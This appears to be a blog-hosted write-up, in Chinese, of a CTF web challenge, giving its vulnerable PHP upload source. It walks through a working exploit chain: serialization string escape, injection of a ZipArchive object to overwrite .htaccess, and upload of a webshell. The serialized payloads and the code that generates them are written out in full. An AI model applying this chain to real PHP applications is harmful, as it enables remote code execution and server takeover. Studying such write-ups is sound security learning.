IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> BMZCTF file-vault详解 php反序列化利用姿势 -> 正文阅读

[PHP知识库]BMZCTF file-vault详解 php反序列化利用姿势

BMZCTF file-vault详解 php反序列化利用姿势

题目:

image-20210713200528456

打开题目是一个上传页面。

拿到题目第一步要做的就是信息收集,使用dirsearch扫描一下敏感信息,发现存在一个index.php~文件,这是vim编辑器自动生成的备份文件,打开就是这道题的源码了

image-20210713200922440

<?php

error_reporting(0);
include('secret.php');

$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);
global $sandbox_dir;

function myserialize($a, $secret) {     //自定义序列化方法
    $b = str_replace("../","./", serialize($a));    //先进行序列化操作,然后将../替换成./
    return $b.hash_hmac('sha256', $b, $secret);    //返回的内容后面携带了$secret计算的hmac值
}

function myunserialize($a, $secret) {   //自定义反序列化方法
    if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){       //再做一次hmac计算,比对字符串后面64位,看是否被篡改。
        return unserialize(substr($a, 0, -64));     
    }
}
   
class UploadFile {

    function upload($fakename, $content) {
        global $sandbox_dir;
        $info = pathinfo($fakename);          //以数组的形式返回关于文件路径的信息
        $ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';  //没有后缀则直接以.txt为后缀
        file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);  //将临时文件写入到sha1哈希的一个目录里
        $this->fakename = $fakename;                        //fakename可控,realnam经过sha1很难控制
        $this->realname = sha1($content).$ext;      
    }
    function open($fakename, $realname) {
        global $sandbox_dir;
        $analysis = "$fakename is in folder $sandbox_dir/$realname.";
        return $analysis;
    }
}

if(!is_dir($sandbox_dir)) {
    mkdir($sandbox_dir);
}

if(!is_file($sandbox_dir.'/.htaccess')) {       
    file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");      //每次访问给用户上传文件的目录写了一个.htaccess文件,该配置导致上传的文件不能当做php来解析,php脚本无法直接使用。 
}

if(!isset($_GET['action'])) {
    $_GET['action'] = 'home';
}


if(!isset($_COOKIE['files'])) {
    setcookie('files', myserialize([], $secret));       
    $_COOKIE['files'] = myserialize([], $secret);
}


switch($_GET['action']){
    case 'home':
    default:                          //action='index.php?action=upload',所有请求都会访问到index.php,都会触发生成.htaccess文件
        $content = "<form method='post' action='index.php?action=upload' enctype='multipart/form-data'><input type='file' name='file'><input type='submit'/></form>";

        $files = myunserialize($_COOKIE['files'], $secret);
        if($files) {
            $content .= "<ul>";
            $i = 0;
            foreach($files as $file) {
                $content .= "<li><form method='POST' action='index.php?action=changename&i=".$i."'><input type='text' name='newname' value='".htmlspecialchars($file->fakename)."'><input type='submit' value='Click to edit name'></form><a href='index.php?action=open&i=".$i."' target='_blank'>Click to show locations</a></li>";
                $i++;
            }
            $content .= "</ul>";
        }
        echo $content;
        break;
    case 'upload':
        if($_SERVER['REQUEST_METHOD'] === "POST") {
            if(isset($_FILES['file'])) {
                $uploadfile = new UploadFile;             
                $uploadfile->upload($_FILES['file']['name'], file_get_contents($_FILES['file']['tmp_name']));  //一个文件对应一个UploadFile对象,文件信息被写入对象中。
                $files = myunserialize($_COOKIE['files'], $secret); //反序列化cookie中的内容
                $files[] = $uploadfile;                             //UploadFile对象存入数组,所以上传多个文件后,经过序列化的字符串中是包含多个文件内容的(主要用到fakename 文件名)。
                setcookie('files', myserialize($files, $secret));   //将文件信息序列化后写入用户cookie
                header("Location: index.php?action=home");
                exit;
            }
        }
        break;
    case 'changename':
        if($_SERVER['REQUEST_METHOD'] === "POST") {        
            $files = myunserialize($_COOKIE['files'], $secret);             //将cookie反序列化
            if(isset($files[$_GET['i']]) && isset($_POST['newname'])){      
                $files[$_GET['i']]->fakename = $_POST['newname'];           //获取参数i对应的文件对象,修改它的$fakename 也就是文件名。
            }
            setcookie('files', myserialize($files, $secret));               //重新写入cookie
        }
        header("Location: index.php?action=home");
        exit;
    case 'open':
        $files = myunserialize($_COOKIE['files'], $secret);         //将cookie反序列化
        if(isset($files[$_GET['i']])){                              //根据参数i找数组中对应的文件对象,
            echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname);    //调用文件对象的open方法,需要传入2个参数
        }
        exit;
    case 'reset':
        setcookie('files', myserialize([], $secret));
        $_COOKIE['files'] = myserialize([], $secret);
        array_map('unlink', glob("$sandbox_dir/*"));
        header("Location: index.php?action=home");
        exit;
}

解题思路

对源码进行审计,首先大致看一下功能,一个自定义的序列化函数,一个自定义的反序列化函数,一个UploadFile类,4个action对应主页、上传、修改文件名、open则会调用经反序列化后生成的对象的open方法,reset重置cookie,这样下来大致就能想到题目会考反序列化和上传这2种漏洞了。

1.先来看一下文件上传漏洞:

image-20210713203701618

image-20210713212741347

代码非常简单,传入一个文件就创建一个UploadFile对象,将文件名等内容封装到对象里,只判断了文件名是否有扩展名,没有就加上.txt,没有对文件名和内容进行任何过滤,是的!没有过滤,那不是妥妥的文件上传漏洞吗?我们直接上传一个php文件试试:

上传后点击click to show locations看到文件位置,访问后发现文件上传成功,但并没有当做php脚本解析:

image-20210713204347287

这是因为每次访问index.php都会给用户上传文件的目录生成.htaccess文件,关闭了php的解析功能,导致文件不能当做php解析。

image-20210713204419416

2.反序列化漏洞

上传似乎不行,那我们就想到测一下反序列化漏洞。这里不讲反序列化原理,目前我收集到的反序列化利用方式大致有三种:

1.反序列化字符串逃逸

? 先进行序列化操作后,又将结果进行了过滤,导致字符串长度增加减少

? 字符串长度可增加利用条件:

? 1.存在至少一个变量可控。

? 2.存在至少另一个变量被修改后,能够获取到自己想要收获。

? 字符串长度可减少利用条件:

? 1.存在至少2个变量可控。

? 2.存在至少另一个变量被修改后,能够获取到自己想要收获。

2.反序列化利用自定义类的魔术方法

? php存在许多魔术方法能够在某种条件下自动调用,如__sleep、__wakeup在序列化和反序列化时自动调用,__destruct在对象销毁时自动调用,还有其他的方法只要能够触发自动调用,都能够被反序列化利用。

? 利用条件:

? 1.存在至少一个类,其魔术方法可被自动调用。

? 2.存在可控变量,并且在魔术方法被自动调用时可控制变量获取自己想要的结果。

?

? 绕过__wakeup魔术方法:

? __wakeup()魔术方法会在反序列化时自动调用,CTF中常出现用来过滤,当序列化后的字符串中定义的变量数大于实际变量数量时,就会绕过__wakeup()函数。

3.反序列化利用内置类的方法

? 当进行反序列化后,会重新产生对象,正常情况下调用该对象的方法一般都是我们自定义的方法,但是php还内置了很多的类,如果内置类和我们调用的方法名一样,我们又能够控制反序列化结果,那我们就能让它反序列化出这些内置类的对象,调用的也就是内置类的方法。

? 利用条件:

? 1.调用反序列化后生成的对象的方法,这个方法和内置类的方法名相同。

? 2.存在一个变量可控,且拼接上我们内置类经过序列化的字符串后,能够闭合成正确的序列化字符串,能够正确的反序列化。(这点光靠变量可控是很难办到的,所以通常是和字符串逃逸结合在一起)

这道题类中方法就只有upload和open,可通过下列命令搜索也具有open方法的内置类:

<?php
  foreach (get_declared_classes() as $class) {
    foreach (get_class_methods($class) as $method) {
      if ($method == "open")
        echo "$class->$method\n";
    }
  }
?>

? image-20210713231346123

自行查阅搜索出来的这几个内置类的open方法,有没有能够利用的,需要考虑这些内置类的open方法传入的参数数量和题目是否一样是2个,最终找到的就是ZipArchive,传入的$flags为ZipArchive::OVERWRIT时,会覆盖原有文件。

image-20210714104630752

image-20210714104550411

利用链

综合述知识点,我们就能找到最终的利用链:

1.字符串逃逸

2.利用反序列化调用内置类的方法(ZipArchive的open方法)来覆盖.htaccess,这样我们上传的php脚本就能正常解析了。

再来分别看一下利用链的代码

1.字符串逃逸

上传文件时,文件名等内容写到了UploadFile对象中,然后再写到数组中,整个数组调用myserialize(此时会先进行序列化操作,再将…/替换为./,因此满足了我们字符逃逸减少字符长度的条件),然后写到用户cookie中。chagename功能将cookie反序列化,修改其中的$fakename(文件名)然后重新序列化写入cookie。注意我们上传和修改文件名的功能,存入cookie的都是一个数组经过序列化的字符串,我们能单独修改每个文件的文件名,对于这整个字符串来说就存在多个可控参数了,所以满足了字符串逃逸减少字符长度的2个条件:

image-20210714110423083

image-20210713212839430

image-20210714112442784

image-20210714111941007

这样已经能够通过字符串逃逸来修改反序列化结果了,不过可惜的是没有什么变量被改变后能够直接达到我们想要的结果。

2.反序列化利用内置类的方法

上面已经讲了我们找到了ZipArchive的open方法具有覆盖文件功能,因此可以用来干掉.htaccess文件,让我们上传的脚本正常解析,反序列化利用内置类的2个条件都能满足。在这道题的open功能这里,会将cookie反序列化,生成装有UploadFile文件对象的数组,然后根据传入的参数i来从数组中找到对应的文件对象,调用这个对象的open方法。如果我们通过字符串逃逸,构造出的字符串经过反序列化后,变成ZipArchive对象,那么就会调用ZipArchive的open方法了。

image-20210714113953507

条件具备,开始行动

1.构造ZipArchive序列化字符串

最终想要调用ZipArchive的open方法,需要2个参数,一个文件名(也就是.htaccess);一个是ZipArchive::OVERWRITE,也可以直接写数字9。.htaccess在用户上传的目录:‘sandbox/’.sha1($_SERVER[‘REMOTE_ADDR’]),会根据用户公网地址做sha1计算,这个目录可以自己计算下,也可以上传一个文件,可查看的。

<?php
$zip = new ZipArchive();
$zip->fakename = "sandbox/ede9e14dab3bfbb6a1ec62dcdb3089db0abc225c/.htaccess";
$zip->realname = '9';
echo serialize($zip);
?>

拿到ZipArchive的序列化字符串:

O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ede9e14dab3bfbb6a1ec62dcdb3089db0abc225c/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";}

2.上传2个文件,查看cookie获取这2个文件的序列化字符串:

image-20210714115006306

image-20210714115029741

url解码一下:

a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic1.jpg";s:8:"realname";s:44:"d0560748d5b2328438d234a163daef882046b1e3.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic2.jpg";s:8:"realname";s:44:"d0560748d5b2328438d234a163daef882046b1e3.jpg";}}a413a0ae20bf141f891bfe07d3281f6ec10502b98a99f0cf2540a6d93703bb3b

可以看到,这个cookie中确实是包含了我上传的2个文件,pic1.jpg和pic2.jpg。

现在我们能控制的就是pic1.jpg和pic2.jpg这2个参数,要想办法把上面生成的ZipArchive序列化字符串拼接进去,并且完整闭合为一个正确的序列化字符串。可以参考下它原来的格式来进行拼接。

把pic1.jpg换成我们上面生成的ZipArchive序列化字符串显然不行,没有办法拼接出一个完整的序列化字符串,也就没法正常反序列化,所以直接先尝试着把第二个参数换成上面生成的ZipArchive序列化字符串(标记部分就是ZipArichive的内容):

image-20210714115712625

最后64位是做的sha256的哈希校验,可以防篡改,我们是通过代码提供的正规方式去修改的,不会受影响,所以不用管他。

这样和原本cookie中的内容做下对比,发现我标记部分后面是没有办法正确闭合的,那我们可以直接不要后面了,因为反序列化是根据}结尾的,后面的内容不会影响结果。原本的是有2个},因此给之前ZipArchive的序列化结果加上一个},让它正确闭合,变成:

image-20210714120715259

这样后面部分就正常闭合了,再来看我标记部分的前面,也不是正确的(注意原来的o:10前面有i:1;),我们新增部分本身自己是一个完整对象,如果完美替换原本数组中的第二个对象(也就是i:1)就好了,字符串逃逸导致的字符减少正好做到这一点,那我们参考原来格式,将i:1;添加到我标记部分前面:image-20210714122858115这样一看,我们能控制pic1.jpg,图中红色部分才是我们能够吃掉的部分,如果直接吃掉拼接出来的是下面这个结果:

image-20210714122804212

这是吃掉部分:长度115

";s:8:"realname";s:44:"d0560748d5b2328438d234a163daef882046b1e3.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"

还是不完整,所以我标记部分前面还需要加上pic1.jpg的后面部分:

";s:8:"realname";s:44:"d0560748d5b2328438d234a163daef882046b1e3.jpg";}

这样拼接出来就完整了(标记部分是第二个fakename需要插入的内容):

image-20210714123126307

3.那结果就有了:

第二个文件的fakename需要插入的内容就是我图片中选择标记的部分
";s:8:"realname";s:44:"d0560748d5b2328438d234a163daef882046b1e3.jpg";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ede9e14dab3bfbb6a1ec62dcdb3089db0abc225c/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";}}
第一个文件的fakename,每多一个. ./,就能吃掉一个字符,所以总共需要的. ./数量就是上面吃掉部分字符串的长度:115+2

(这里要注意,被吃掉部分的"fakename";s:8:",是可变的,这就是第二个文件的文件名。当我们插入图中选择标记部分时,长度变成了300,变成了"fakename";s:300:" 。字符串长度增加了2。所以需要多吃掉2个字符才行。)

image-20210714122032050

先上传2个文件,然后修改第二个文件的文件名,使用burp来改方便点。

image-20210714130036860

再修改第一个文件的文件名,直接在原来文件名后面添加115+2个…/。

image-20210714130107518

触发反序列化并调用open方法

然后点击第二个图片的click to show location,会将cookie反序列化,反序列化后生成的数组,通过参数i来找到数组中第二个对象,调用生成对象的open方法(这里就是ZipArchive的open方法)。这样就能删除我们上传目录中的.htaccess文件了。改完顺便放到repeater里,后面还要再发一次。

image-20210714130137680

上传一句话木马

这时候.htaccess被删掉,我们就可以上传一句话木马了:

直接上传,然后点击click to show location就能查看文件名,访问后发现还是没有作为php解析,这是因为我们上传的时候都是访问这个index.php文件,都会重新生成.htaccess 添加进php_flag engine off的配置,导致我们的文件不能作为php解析,这时候就只需要把最后一个数据包重发一次就行了(因为这个反序列化都是通过读取cookie来的,虽然现在上传了一个文件,但我们repeater里面的cookie不受影响,因此只需要重放最后一个数据包即可触发删除文件的操作。)

image-20210714130438327

重发最后一个数据包,再访问自己的一句话,就已经连上了,在根目录下找到flag:

image-20210714131136060

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-07-15 15:56:45  更:2021-07-15 15:57:48 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/7 15:41:22-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码